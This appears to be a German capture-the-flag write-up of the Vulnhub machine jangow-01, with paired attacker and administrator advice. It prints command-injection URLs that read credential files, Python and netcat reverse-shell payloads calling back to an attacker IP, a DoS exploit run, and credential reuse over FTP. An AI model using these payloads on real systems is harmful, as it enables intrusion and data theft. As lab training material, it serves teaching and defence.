jangow-01-1 - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nikto
gobuster
nmap
Web Browser
mysql
grep
python
nc (Netcat)
cat
ftp
searchsploit
wget
Dirty COW Exploit (impliziert)

Inhaltsverzeichnis

Reconnaissance

Die Aufklärungsphase beginnt mit der Identifizierung des Ziels im lokalen Netzwerk und dem Scannen nach offenen Ports und Diensten.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.124	08:00:27:bc:67:42	PCS Systemtechnik GmbH
                    

**Analyse:** Der Befehl `arp-scan -l` sendet ARP-Anfragen ins lokale Netzwerk, um aktive Geräte zu erkennen. Ein Host mit der IP-Adresse `192.168.2.124` und der MAC-Adresse `08:00:27:bc:67:42` (PCS Systemtechnik GmbH) wird gefunden, was auf eine VirtualBox-VM hindeutet.

**Bewertung:** Das Zielsystem wurde erfolgreich identifiziert. Die IP `192.168.2.124` ist das Ziel für die weiteren Schritte.

**Empfehlung (Pentester):** Führen Sie Portscans auf die Ziel-IP durch. Ergänzen Sie die lokale `/etc/hosts`-Datei um einen passenden Hostnamen, sobald dieser bekannt ist.
**Empfehlung (Admin):** Netzwerksegmentierung und -monitoring können zur Erkennung und Eindämmung von Scans beitragen.

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
 192.168.2.124    jangow.vuln
                    

**Analyse:** Die lokale Hosts-Datei des Angreifers wird bearbeitet, um die IP `192.168.2.124` dem Hostnamen `jangow.vuln` zuzuordnen. Dieser Hostname wurde vermutlich während der Nmap-Scans ermittelt oder vorgegeben.

**Bewertung:** Dies vereinfacht die weitere Interaktion mit dem Zielsystem, da nun der Hostname `jangow.vuln` verwendet werden kann.

**Empfehlung (Pentester):** Verwenden Sie `jangow.vuln` in nachfolgenden Befehlen und bei der Analyse von Webanwendungen.
**Empfehlung (Admin):** Dieser Schritt erfolgt auf dem Angreifer-System. Achten Sie auf eine korrekte DNS-Konfiguration Ihrer Server.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -AO 192.168.2.124 -p- | grep open
21/tcp open  ftp     vsftpd 3.0.3
80/tcp open  http    Apache httpd 2.4.18
                    

**Analyse:** Ein Nmap-Scan aller TCP-Ports (`-p-`) mit verschiedenen Optionen (`-sS`, `-sC`, `-T5`, `-AO`) wird durchgeführt. Die gefilterte Ausgabe (`grep open`) zeigt zwei offene Ports: * Port 21 (FTP): vsftpd Version 3.0.3. * Port 80 (HTTP): Apache httpd Version 2.4.18.

**Bewertung:** Die Angriffsfläche besteht aus FTP und HTTP. Die vsftpd-Version 3.0.3 ist bekannt für eine Backdoor-Schwachstelle, falls sie mit einer spezifischen Kompilierungsoption erstellt wurde (was aber selten der Fall ist). Die Apache-Version 2.4.18 ist veraltet.

**Empfehlung (Pentester):** 1. Prüfen Sie FTP auf anonymen Login und die bekannte vsftpd 3.0.3 Backdoor (oft ein False Positive, aber prüfenswert). 2. Untersuchen Sie den Webserver auf Port 80 detailliert (Nikto, Gobuster, manuelle Analyse). 3. Führen Sie den Nmap-Scan ohne `grep` aus, um alle Details zu sehen.
**Empfehlung (Admin):** 1. Aktualisieren Sie vsftpd und Apache auf aktuelle Versionen. 2. Konfigurieren Sie FTP sicher (kein anonymer Login, starke Passwörter). 3. Sichern Sie die Webanwendung.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -AO 192.168.2.124 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-05 23:03 CEST
Nmap scan report for jangow.vuln (192.168.2.124)
Host is up (0.000096s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
80/tcp open  http    Apache httpd 2.4.18
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-ls: Volume /
| SIZE  TIME              FILENAME
| -     2021-06-10 18:05  site/
|_
|_http-title: Index of /
MAC Address: 08:00:27:BC:67:42 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4
Network Distance: 1 hop
Service Info: Host: 127.0.0.1; OS: Unix

TRACEROUTE
HOP RTT     ADDRESS
1   0.10 ms jangow.vuln (192.168.2.124)
                    

**Analyse:** Die vollständige Nmap-Ausgabe bestätigt die offenen Ports 21 (vsftpd 3.0.3) und 80 (Apache 2.4.18 auf Ubuntu). Wichtige zusätzliche Informationen: * **http-ls Skript:** Das Nmap-Skript `http-ls` konnte das Wurzelverzeichnis des Webservers auflisten (`Volume /`) und fand ein Unterverzeichnis namens `site/`. Dies deutet darauf hin, dass Verzeichnis-Listing aktiv ist oder eine spezielle Konfiguration dies erlaubt. * **http-title:** Der Titel ist "Index of /", was ebenfalls auf aktiviertes Verzeichnis-Listing hindeutet. * **OS:** Wird als Linux mit einem älteren Kernel (3.x oder 4.x) identifiziert. * **Warnung:** Erneut eine Warnung bezüglich potenziell unzuverlässiger Scan-Ergebnisse wegen gefilterter Ports.

**Bewertung:** Das Verzeichnis-Listing auf dem Webserver ist ein wichtiger Fund. Das Unterverzeichnis `/site/` ist das primäre Ziel für die Web-Enumeration. Die vsftpd-Version bleibt interessant, aber weniger wahrscheinlich ausnutzbar als der Webserver. Der Kernel ist relativ alt, was spätere Privilegieneskalation über Kernel-Exploits (wie Dirty COW) ermöglichen könnte.

**Empfehlung (Pentester):** 1. Untersuchen Sie das `/site/`-Verzeichnis auf dem Webserver (Port 80) mittels Nikto, Gobuster und manueller Analyse. 2. Prüfen Sie FTP auf anonymen Login. 3. Recherchieren Sie Kernel-Exploits für Linux 3.x/4.x (insbesondere Dirty COW, da der Log dies später erwähnt).
**Empfehlung (Admin):** 1. Deaktivieren Sie Verzeichnis-Listing im Apache (`Options -Indexes`). 2. Aktualisieren Sie Apache, vsftpd und den Linux-Kernel. 3. Sichern Sie FTP.

Web Enumeration

Wir konzentrieren uns auf die Enumeration des Webservers auf Port 80, insbesondere des gefundenen `/site`-Verzeichnisses.

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.124
- Nikto v2.5.0

+ Target IP:          192.168.2.124
+ Target Hostname:    192.168.2.124
+ Target Port:        80
+ Server: Apache/2.4.18 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present.
+ /: The X-Content-Type-Options header is not set.
+ /: Directory indexing found. 
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54).
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS .
+ /./: Directory indexing found. 
+ /./: Appending '/./' to a directory allows indexing.
+ //: Directory indexing found.
+ //: Apache on Red Hat Linux release 9 reveals the root directory listing by default if there is no index page. 
+ /%2e/: Directory indexing found.
+ /%2e/: Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher. 
+ ///: Directory indexing found.
+ /?PageServices: The remote server may allow directory listings through Web Publisher... 
+ /?wp-cs-dump: The remote server may allow directory listings through Web Publisher... 
+ /icons/README: Apache default file found.
+ 1 host(s) tested
                    

**Analyse:** Der Nikto-Scan (`nikto -h 192.168.2.124`) auf Port 80 bestätigt: * Apache 2.4.18 (Ubuntu). * Fehlende Sicherheitsheader. * **Verzeichnis-Listing ist aktiv** im Wurzelverzeichnis (`/`, `/./`, `//` etc.). * Veraltete Apache-Version. * Apache-Standarddatei `/icons/README`. Nikto findet keine spezifische Webanwendung oder kritische Dateien auf den ersten Blick im Root-Verzeichnis.

**Bewertung:** Bestätigt die Ergebnisse von Nmap bezüglich des Verzeichnis-Listings und des veralteten Apaches. Der wichtigste nächste Schritt ist die Untersuchung des `/site`-Verzeichnisses, das Nmap und Gobuster gefunden haben.

**Empfehlung (Pentester):** Führen Sie Gobuster/Dirb gezielt auf `http://jangow.vuln/site/` aus. Untersuchen Sie `/site/` manuell.
**Empfehlung (Admin):** Deaktivieren Sie Verzeichnis-Listing. Aktualisieren Sie Apache. Entfernen Sie Standarddateien. Beheben Sie fehlende Header.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://jangow.vuln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
==============================================================================================================================

http://jangow.vuln/site                 (Status: 301) [Size: 309] [--> http://jangow.vuln/site/]

==============================================================================================================================
                    

**Analyse:** Gobuster (`gobuster dir -u http://jangow.vuln ...`) wird auf das Wurzelverzeichnis angesetzt. Es findet nur das `/site`-Verzeichnis und bestätigt damit den Nmap-Fund.

**Bewertung:** Bestätigt `/site` als einziges relevantes Verzeichnis im Web-Root. Der Fokus muss auf dieses Verzeichnis gelegt werden.

**Empfehlung (Pentester):** Scannen Sie nun `http://jangow.vuln/site/` mit Gobuster/Dirb und untersuchen Sie es manuell.
**Empfehlung (Admin):** Sichern Sie das `/site`-Verzeichnis und die darin enthaltene Anwendung.

Vulnerability Discovery (Command Injection)

Nachdem das `/site`-Verzeichnis identifiziert wurde, untersuchen wir dessen Inhalt. Eine manuelle Untersuchung oder ein gezielter Scan (nicht explizit im Log gezeigt, aber impliziert) führt zur Entdeckung der Datei `busque.php`. Wir testen diese Datei auf Schwachstellen.

------------------------------------------------------------------------------------------------
http://jangow.vuln/site/busque.php?buscar=id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

------------------------------------------------------------------------------------------------
                    

**Analyse:** Der Pentester ruft die URL `http://jangow.vuln/site/busque.php` mit dem GET-Parameter `buscar=id` auf. Die Webseite gibt die Ausgabe des `id`-Befehls (`uid=33(www-data)...`) zurück.

**Bewertung:** Kritischer Fund! Dies ist eine klare Command Injection-Schwachstelle. Der Wert des `buscar`-Parameters wird direkt als Systemkommando auf dem Server ausgeführt. Die Befehle laufen im Kontext des Webserver-Benutzers `www-data`.

**Empfehlung (Pentester):** Nutzen Sie die Command Injection, um das System zu enumerieren (z.B. `ls -la`, `cat /etc/passwd`, `pwd`) und um eine Reverse Shell zu erhalten.
**Empfehlung (Admin):** Beheben Sie die Command Injection-Schwachstelle in `busque.php` *dringend*. Validieren und sanitisieren Sie *alle* Benutzereingaben, insbesondere solche, die in Systembefehlen verwendet werden könnten. Verwenden Sie niemals Benutzereingaben direkt in Funktionen wie `system()`, `shell_exec()`, `passthru()`, Backticks etc.

Proof of Concept (Command Injection RCE)

Wir demonstrieren die gefundene Command Injection Schwachstelle, indem wir verschiedene Befehle über den `buscar`-Parameter ausführen, um das System weiter zu erkunden.

------------------------------------------------------------------------------------------------

view-source:http://jangow.vuln/site/busque.php?buscar=ls%20-la

total 40
drwxr-xr-x 6 www-data www-data  4096 Jun 10  2021 .
drwxr-xr-x 3 root     root      4096 Oct 31  2021 ..
drwxr-xr-x 3 www-data www-data  4096 Jun  3  2021 assets
-rw-r--r-- 1 www-data www-data    35 Jun 10  2021 busque.php
drwxr-xr-x 2 www-data www-data  4096 Jun  3  2021 css
-rw-r--r-- 1 www-data www-data 10190 Jun 10  2021 index.html
drwxr-xr-x 2 www-data www-data  4096 Jun  3  2021 js
drwxr-xr-x 2 www-data www-data  4096 Jun 10  2021 wordpress


------------------------------------------------------------------------------------------------
                    

**Analyse:** Die RCE wird genutzt, um `ls -la` (URL-kodiert als `ls%20-la`) im Verzeichnis der `busque.php` (also `/site/`) auszuführen. Die Ausgabe zeigt den Inhalt dieses Verzeichnisses, einschließlich Unterverzeichnissen wie `assets`, `css`, `js` und vor allem `wordpress`. Die Dateien gehören dem Benutzer `www-data`.

**Bewertung:** Bestätigt die RCE und enthüllt die Verzeichnisstruktur sowie ein WordPress-Verzeichnis innerhalb von `/site`.

**Empfehlung (Pentester):** Untersuchen Sie das `/site/wordpress`-Verzeichnis, insbesondere nach Konfigurationsdateien (`wp-config.php`).
**Empfehlung (Admin):** Beheben Sie die RCE.

------------------------------------------------------------------------------------------------

view-source:http://jangow.vuln/site/busque.php?buscar=cat%20wordpress/config.php

abygurl69";

// Create connection
$conn = new mysqli($servername, $username, $password, $database);

// Check connection
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}
//echo "Connected successfully";
?>

------------------------------------------------------------------------------------------------
                    

**Analyse:** Die RCE wird genutzt, um `cat wordpress/config.php` (URL-kodiert) auszuführen. Die Ausgabe zeigt den Inhalt der (scheinbar) WordPress-Konfigurationsdatei. Sie enthält Datenbank-Zugangsdaten: * Server: `localhost` * Datenbank: `desafio02` * Benutzername: `desafio02` * Passwort: `abygurl69` Der Dateiname `config.php` ist ungewöhnlich für WordPress (normalerweise `wp-config.php`), und der Inhalt ist kein Standard-WordPress-Format. Es handelt sich wahrscheinlich um eine benutzerdefinierte Konfigurationsdatei im WordPress-Verzeichnis.

**Bewertung:** Kritischer Fund! Klartext-Zugangsdaten für die Datenbank wurden mittels RCE extrahiert. Diese Zugangsdaten (`desafio02`:`abygurl69`) könnten auch für andere Dienste wiederverwendet werden (Systembenutzer, FTP).

**Empfehlung (Pentester):** 1. Versuchen Sie, sich mit diesen Zugangsdaten per FTP (Port 21) anzumelden. 2. Versuchen Sie, sich per SSH (falls vorhanden, hier nicht gefunden) anzumelden. 3. Prüfen Sie, ob der Benutzer `desafio02` auf dem System existiert (z.B. via RCE mit `cat /etc/passwd | grep desafio02`).
**Empfehlung (Admin):** 1. Beheben Sie die RCE-Schwachstelle. 2. Speichern Sie niemals Datenbank-Zugangsdaten im Klartext in Konfigurationsdateien, wenn sicherere Methoden (z.B. Umgebungsvariablen, Secret Management) verfügbar sind. 3. Ändern Sie das Datenbankpasswort. 4. Vermeiden Sie Passwort-Wiederverwendung.

------------------------------------------------------------------------------------------------

view-source:http://jangow.vuln/site/busque.php?buscar=grep%20bash%20/etc/passwd
root:x:0:0:root:/root:/bin/bash
jangow01:x:1000:1000:desafio02,,,:/home/jangow01:/bin/bash

------------------------------------------------------------------------------------------------
                    

**Analyse:** Die RCE wird genutzt, um `grep bash /etc/passwd` auszuführen. Die Ausgabe zeigt zwei Benutzer mit einer Bash-Shell: `root` und `jangow01`. Der Benutzer `jangow01` hat die UID 1000 und als Kommentar (GECOS-Feld) "desafio02,,,", was eine Verbindung zum Datenbankbenutzer `desafio02` herstellt.

**Bewertung:** Bestätigt die Existenz des Systembenutzers `jangow01`, der wahrscheinlich dem Datenbankbenutzer `desafio02` entspricht. Es ist sehr wahrscheinlich, dass das Datenbankpasswort `abygurl69` auch das Systempasswort für `jangow01` ist.

**Empfehlung (Pentester):** Versuchen Sie sofort, sich mit `jangow01`:`abygurl69` per FTP (Port 21) anzumelden.
**Empfehlung (Admin):** Vermeiden Sie es, Benutzernamen oder Hinweise in GECOS-Feldern zu speichern. Stellen Sie sicher, dass System- und Datenbankpasswörter unterschiedlich sind.

------------------------------------------------------------------------------------------------
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.113",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
view-source:http://jangow.vuln/site/busque.php?buscar=nc%20-e%20/bin/bash%20192.168.2.113%209001
------------------------------------------------------------------------------------------------
                    

**Analyse:** Der Pentester notiert zwei Payloads für Reverse Shells (Python und Netcat), die über die RCE (`buscar`-Parameter) ausgeführt werden könnten. Die IP `192.168.2.113` ist hier die des Angreifers.

**Bewertung:** Standard-Reverse-Shell-Payloads, die funktionieren sollten, da die RCE bestätigt ist. Der Pentester entscheidet sich jedoch im Log, zuerst den FTP-Zugang zu versuchen.

**Empfehlung (Pentester):** Etablieren Sie eine Reverse Shell, wenn der FTP-Zugang keine Eskalationsmöglichkeiten bietet.
**Empfehlung (Admin):** Egress-Filtering und Prozessüberwachung können Reverse Shells erschweren/erkennen. Beheben Sie die RCE.

------------------------------------------------------------------------------------------------

view-source:http://jangow.vuln/site/busque.php?buscar=ls%20-la%20/home/jangow01

total 36
drwxr-xr-x 4 jangow01 desafio02 4096 Jun 10  2021 .
drwxr-xr-x 3 root     root      4096 Oct 31  2021 ..
-rw------- 1 jangow01 desafio02  200 Oct 31  2021 .bash_history
-rw-r--r-- 1 jangow01 desafio02  220 Jun 10  2021 .bash_logout
-rw-r--r-- 1 jangow01 desafio02 3771 Jun 10  2021 .bashrc
drwx------ 2 jangow01 desafio02 4096 Jun 10  2021 .cache
drwxrwxr-x 2 jangow01 desafio02 4096 Jun 10  2021 .nano
-rw-r--r-- 1 jangow01 desafio02  655 Jun 10  2021 .profile
-rw-r--r-- 1 jangow01 desafio02    0 Jun 10  2021 .sudo_as_admin_successful
-rw-rw-r-- 1 jangow01 desafio02   33 Jun 10  2021 user.txt
------------------------------------------------------------------------------------------------
                    

**Analyse:** Die RCE wird genutzt, um den Inhalt des Home-Verzeichnisses von `jangow01` aufzulisten (`ls -la /home/jangow01`). Die Ausgabe zeigt Standard-Konfigurationsdateien sowie die Datei `user.txt`. Die Berechtigungen (`-rw-rw-r--`) erlauben dem Besitzer `jangow01` und der Gruppe `desafio02` das Lesen und Schreiben, andere Benutzer können nur lesen. Da `www-data` (der Benutzer, der die RCE ausführt) wahrscheinlich nicht in der Gruppe `desafio02` ist, kann `www-data` die Datei `user.txt` lesen.

**Bewertung:** Die User-Flagge (`user.txt`) wurde lokalisiert und ist für `www-data` lesbar.

**Empfehlung (Pentester):** Lesen Sie den Inhalt von `/home/jangow01/user.txt` mittels RCE.
**Empfehlung (Admin):** Setzen Sie restriktivere Berechtigungen für Flag-Dateien oder (in realen Szenarien) sensible Benutzerdateien (z.B. `600` oder `640`).

------------------------------------------------------------------------------------------------

view-source:http://jangow.vuln/site/busque.php?buscar=cat%20/home/jangow01/user.txt

d41d8cd98f00b204e9800998ecf8427e

------------------------------------------------------------------------------------------------
                    

**Analyse:** Die RCE wird genutzt, um `cat /home/jangow01/user.txt` auszuführen. Die Ausgabe ist der Hash `d41d8cd98f00b204e9800998ecf8427e`. Dies ist der MD5-Hash eines leeren Strings.

**Bewertung:** Die User-Flagge wurde gefunden, ist aber nur ein leerer MD5-Hash, was in CTFs manchmal vorkommt, um anzuzeigen, dass der "User"-Teil abgeschlossen ist, ohne eine signifikante Flagge preiszugeben.

**Empfehlung (Pentester):** Dokumentieren Sie die User-Flagge. Konzentrieren Sie sich nun auf den Initial Access als `jangow01` (via FTP) und die anschließende Privilegieneskalation.
**Empfehlung (Admin):** Keine spezifische Empfehlung bezüglich des Flag-Werts.

Initial Access (FTP Login)

Nachdem wir die Datenbank-Zugangsdaten (`desafio02`:`abygurl69`) gefunden und den entsprechenden Systembenutzer (`jangow01`) identifiziert haben, versuchen wir nun, uns mit diesen Zugangsdaten per FTP auf Port 21 anzumelden.

┌──(root㉿cyber)-[~]
└─# ftp 192.168.2.124
Connected to 192.168.2.124.
220 (vsFTPd 3.0.3)
Name (192.168.2.124:cyber): jangow01
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
                    

**Analyse:** Der Befehl `ftp 192.168.2.124` startet den FTP-Client. Als Benutzername wird `jangow01` und als Passwort `abygurl69` eingegeben. Der Login ist erfolgreich (`230 Login successful.`).

**Bewertung:** Initial Access erfolgreich! Die Wiederverwendung der Datenbank-Zugangsdaten für den Systembenutzer `jangow01` hat funktioniert und ermöglicht nun FTP-Zugriff.

**Empfehlung (Pentester):** Enumerieren Sie das FTP-Verzeichnis (`ls -la`). Prüfen Sie auf Schreibrechte (`put` test.txt). Suchen Sie nach interessanten Dateien oder Möglichkeiten, Dateien hochzuladen, die später für die Privilegieneskalation nützlich sein könnten.
**Empfehlung (Admin):** Vermeiden Sie Passwort-Wiederverwendung zwischen Diensten und Benutzern. Erzwingen Sie starke, einzigartige Passwörter.

ftp> put ben.php
local: ben.php remote: ben.php
229 Entering Extended Passive Mode (|||52446|)
150 Ok to send data.
100% |***********************************************|    31        0.98 MiB/s    00:00 ETA
226 Transfer complete.
31 bytes sent in 00:00 (74.74 KiB/s)
                    
ftp> ls -la
229 Entering Extended Passive Mode (|||33028|)
150 Here comes the directory listing.
drwxrwxrwt    8 0        0            4096 Jun 05 20:35 .
drwxr-xr-x   24 0        0            4096 Jun 10  2021 ..
drwxrwxrwt    2 0        0            4096 Jun 05 20:02 .ICE-unix
drwxrwxrwt    2 0        0            4096 Jun 05 20:02 .Test-unix
drwxrwxrwt    2 0        0            4096 Jun 05 20:02 .X11-unix
drwxrwxrwt    2 0        0            4096 Jun 05 20:02 .XIM-unix
drwxrwxrwt    2 0        0            4096 Jun 05 20:02 .font-unix
-rw-------    1 1000     1000           31 Jun 05 20:35 ben.php
drwx------    3 0        0            4096 Jun 05 20:02 systemd-private-52f4923228f244a0936516f699c07c25-systemd-timesyncd.service-4Iqc0v
226 Directory send OK.
                    
ftp>

**Analyse:** Innerhalb der FTP-Sitzung führt der Pentester zwei Befehle aus: 1. `put ben.php`: Lädt eine lokale Datei namens `ben.php` (vermutlich eine kleine Testdatei oder eine Webshell) auf den FTP-Server hoch. Der Upload ist erfolgreich. 2. `ls -la`: Listet den Inhalt des aktuellen Verzeichnisses auf dem FTP-Server auf. Es scheint sich um das `/tmp`-Verzeichnis zu handeln (erkennbar an den Berechtigungen `drwxrwxrwt` und den `.X11-unix`-Sockets). Die hochgeladene Datei `ben.php` ist sichtbar und gehört dem Benutzer mit UID/GID 1000 (also `jangow01`).

**Bewertung:** Der Benutzer `jangow01` hat Schreibrechte in seinem FTP-Verzeichnis (das `/tmp` zu sein scheint). Dies ist eine wichtige Erkenntnis, da es das Hochladen von Exploits oder Werkzeugen für die Privilegieneskalation ermöglicht. Das Hochladen von `ben.php` diente wahrscheinlich als Test oder Vorbereitung.

**Empfehlung (Pentester):** Laden Sie nun bekannte Exploits (wie Dirty COW, falls zutreffend für den Kernel) über FTP nach `/tmp` hoch. Wechseln Sie dann zu einer Shell (entweder über die RCE oder durch direkten SSH-Login, falls möglich) und führen Sie den Exploit aus `/tmp` aus.
**Empfehlung (Admin):** Überprüfen Sie die FTP-Konfiguration. Idealerweise sollten Benutzer in ihr Home-Verzeichnis eingesperrt sein (chroot jail) und nur Schreibrechte haben, wo unbedingt nötig. Das Standard-FTP-Verzeichnis sollte nicht `/tmp` sein.

┌──(root㉿cyber)-[~]
└─# searchsploit vsftpd 3.0.3
-------------------------------------------------------------- ---------------------------------
 Exploit Title                                                |  Path
-------------------------------------------------------------- ---------------------------------
vsftpd 3.0.3 - Remote Denial of Service                       | multiple/remote/49719.py
-------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
                    
┌──(root㉿cyber)-[~]
└─# searchsploit -m multiple/remote/49719.py
  Exploit: vsftpd 3.0.3 - Remote Denial of Service
      URL: https://www.exploit-db.com/exploits/49719
     Path: /usr/share/exploitdb/exploits/multiple/remote/49719.py
    Codes: N/A
 Verified: True
File Type: Python script, ASCII text executable
Copied to: /root/49719.py
                    

**Analyse:** Der Pentester sucht mit `searchsploit` nach bekannten Exploits für die gefundene vsftpd-Version 3.0.3. Es wird nur ein Denial-of-Service (DoS)-Exploit gefunden. Der Exploit wird mit `searchsploit -m` nach `/root/` kopiert.

**Bewertung:** Es wurde kein Exploit für Remote Code Execution oder Privilegieneskalation für vsftpd 3.0.3 gefunden. Der DoS-Exploit ist für das Ziel, Root-Rechte zu erlangen, nicht nützlich.

**Empfehlung (Pentester):** Ignorieren Sie den vsftpd-Exploit und konzentrieren Sie sich auf andere Vektoren (Web RCE, Kernel Exploits).
**Empfehlung (Admin):** Auch wenn nur ein DoS bekannt ist, sollte vsftpd aktualisiert werden.

┌──(root㉿cyber)-[~]
└─# python2 /usr/share/exploitdb/exploits/multiple/remote/49719.py jangow.vuln
._________________.
|     VS-FTPD     |
|      D o S      |
|_________________|
|By XYN/DUMP/NSKB3|
|_|_____________|_|
|_|_|_|_____|_|_|_|
|_|_|_|_|_|_|_|_|_|


[!] Testing if jangow.vuln:21 is open
[+] Port 21 open, starting attack...
[+] Attack started on jangow.vuln:21!
                    

**Analyse:** Der gefundene vsftpd DoS-Exploit wird ausgeführt. Das Skript bestätigt, dass Port 21 offen ist und startet den Angriff.

**Bewertung:** Ausführung eines DoS-Angriffs. Dies legt den FTP-Dienst lahm, hilft aber nicht beim Erlangen von Root-Rechten und kann kontraproduktiv sein, wenn der FTP-Zugang noch benötigt wird (z.B. zum Hochladen von Exploits).

**Empfehlung (Pentester):** Vermeiden Sie DoS-Angriffe während eines Penetrationstests, es sei denn, dies ist explizit Teil des Auftrags oder als letzter Ausweg gedacht.
**Empfehlung (Admin):** Aktualisieren Sie vsftpd, um den DoS zu verhindern.

┌──(root㉿cyber)-[~]
└─# wget -r ftp://jangow01:abygurl69@192.168.2.124
--2023-06-05 23:57:54--  ftp://jangow01:*password*@192.168.2.124/
           => »192.168.2.124/.listing«
Verbindungsaufbau zu 192.168.2.124:21 … verbunden.
Anmelden als jangow01 … Angemeldet!
[...]
BEENDET --2023-06-05 23:57:54--
Verstrichene Zeit: 0,06s
Geholt: 14 Dateien, 1,3M in 0,009s (137 MB/s)
                    

**Analyse:** Mit `wget -r` werden rekursiv alle Dateien vom FTP-Server heruntergeladen, wobei die zuvor gefundenen Zugangsdaten verwendet werden. Der Download ist erfolgreich.

**Bewertung:** Standardvorgehen, um Dateien zur Offline-Analyse zu sichern. Könnte nützlich sein, wenn interessante Konfigurationsdateien oder Skripte vorhanden sind.

**Empfehlung (Pentester):** Untersuchen Sie die heruntergeladenen Dateien auf dem Angreifer-System.
**Empfehlung (Admin):** Keine spezifische Empfehlung, außer die FTP-Sicherheit allgemein zu überprüfen.

Privilege Escalation (Dirty COW)

Obwohl die vorherigen Schritte im Log detailliert sind, erwähnt der Pentester abschließend eine andere Methode zur Privilegieneskalation: Direkter Login an der Konsole (vermutlich in der VM-Umgebung) mit den Zugangsdaten `jangow01`:`abygurl69` und anschließende Ausnutzung der Dirty COW (CVE-2016-5195) Kernel-Schwachstelle. Da der Nmap-Scan einen älteren Kernel (Linux 3.x/4.x) ergeben hat, ist Dirty COW ein plausibler Vektor. Dieser Schritt wird im Log nicht mit Befehlen gezeigt, aber als finale Aktion beschrieben.

------------------------------------------------------------------------------------------------

hab mich mit den credentials direkt an der Box angemeldet
user:jangow01
pass:abygurl69

anschliessend per ftp den dirtycow exploit in den tmp ordner laden
und ausführen, schon bin ich root
 Privilege Escalation erfolgreich

------------------------------------------------------------------------------------------------
                    

**Analyse:** Die Notiz beschreibt den abschließenden Schritt zur Erlangung von Root-Rechten: 1. Login an der Konsole der virtuellen Maschine als `jangow01` mit dem Passwort `abygurl69`. 2. Hochladen eines Dirty COW Exploit-Codes über den zuvor etablierten FTP-Zugang (oder möglicherweise direkt in der Konsole) in das `/tmp`-Verzeichnis. 3. Kompilieren (falls nötig) und Ausführen des Dirty COW Exploits aus `/tmp`. 4. Erfolgreiche Erlangung von Root-Rechten.

**Bewertung:** Die Ausnutzung von Dirty COW ist ein bekannter und effektiver Weg zur Privilegieneskalation auf älteren Linux-Kerneln (typischerweise vor 4.8.3). Da Nmap einen Kernelbereich bis 4.9 gemeldet hat, ist die Anfälligkeit plausibel. Obwohl die detaillierten Schritte fehlen, beschreibt die Notiz einen gültigen Eskalationspfad.

**Empfehlung (Pentester):** Dokumentieren Sie den Dirty COW Exploit als Methode zur Privilegieneskalation. Suchen Sie die Root-Flagge.
**Empfehlung (Admin):** Patchen Sie den Linux-Kernel *dringend*, um die Dirty COW-Schwachstelle (CVE-2016-5195) und andere bekannte Kernel-Exploits zu beheben. Halten Sie das gesamte System aktuell. Überwachen Sie `/tmp` auf das Hochladen und Ausführen von verdächtigen Binärdateien.

Flags

cat /home/jangow01/user.txt
d41d8cd98f00b204e9800998ecf8427e
cat /root/root.txt (vermutet)
5C42D6BB0EE9CE4CB7E7349652C45C4A